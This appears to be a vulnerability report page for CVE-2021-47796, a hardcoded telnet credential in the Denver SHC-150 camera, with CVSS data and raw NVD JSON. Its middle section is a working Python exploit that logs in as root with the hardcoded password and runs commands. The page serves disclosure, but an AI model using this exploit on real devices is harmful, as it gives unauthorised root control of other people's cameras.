Security Vulnerability Report
中文
CVE-2021-47796 CVSS 9.8 CRITICAL

CVE-2021-47796

Published: 2026-01-16 00:16:24
Last Modified: 2026-04-15 00:35:42

Description

Denver SHC-150 Smart Wifi Camera contains a hardcoded telnet credential vulnerability that allows unauthenticated attackers to access a Linux shell. Attackers can connect to port 23 using the default credential to execute arbitrary commands on the camera's operating system.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Denver SHC-150 Smart Wifi Camera (所有固件版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2021-47796 PoC - Denver SHC-150 Smart Wifi Camera Hardcoded Telnet Credential Reference: https://www.exploit-db.com/exploits/50160 """ import socket import sys import telnetlib def exploit_camera(target_ip, target_port=23): """ Exploit hardcoded telnet credential on Denver SHC-150 camera """ try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Connect to telnet service tn = telnetlib.Telnet(target_ip, target_port, timeout=10) # Wait for login prompt tn.read_until(b"login: ", timeout=5) # Use hardcoded credentials (exploit-db reference) # Default credential: root / vizxv print("[*] Sending hardcoded credentials...") tn.write(b"root\n") tn.read_until(b"Password: ", timeout=5) tn.write(b"vizxv\n") # Check for successful login response = tn.read_until(b"#", timeout=5) if b"#" in response or b"$" in response: print("[+] SUCCESS! Got shell access with root privileges!") print("[*] You now have full control of the camera.") # Execute some verification commands tn.write(b"uname -a\n") uname_result = tn.read_until(b"#", timeout=3) print(f"[*] System info: {uname_result.decode('utf-8', errors='ignore')}") tn.write(b"id\n") id_result = tn.read_until(b"#", timeout=3) print(f"[*] User ID: {id_result.decode('utf-8', errors='ignore')}") return True else: print("[-] FAILED! Authentication failed.") return False except socket.timeout: print("[-] Connection timeout - target may not be vulnerable or is offline.") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") print(f"Example: python3 {sys.argv[0]} 192.168.1.100 23") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23 print("=" * 60) print("CVE-2021-47796 - Denver SHC-150 Hardcoded Telnet Credential") print("=" * 60) exploit_camera(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47796", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:23.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Denver SHC-150 Smart Wifi Camera contains a hardcoded telnet credential vulnerability that allows unauthenticated attackers to access a Linux shell. Attackers can connect to port 23 using the default credential to execute arbitrary commands on the camera's operating system."}, {"lang": "es", "value": "La Cámara Wifi Inteligente Denver SHC-150 contiene una vulnerabilidad de credenciales telnet codificadas de forma rígida que permite a atacantes no autenticados acceder a un shell de Linux. Los atacantes pueden conectarse al puerto 23 utilizando la credencial predeterminada para ejecutar comandos arbitrarios en el sistema operativo de la cámara."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "http://old.denver.eu/products/smart-home-security/ip-camera-/indoor/c-1024/c-1245", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50160", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/denver-smart-wifi-camera-shc-telnet-remote-code-execution-rce", "source": "[email protected]"}]}}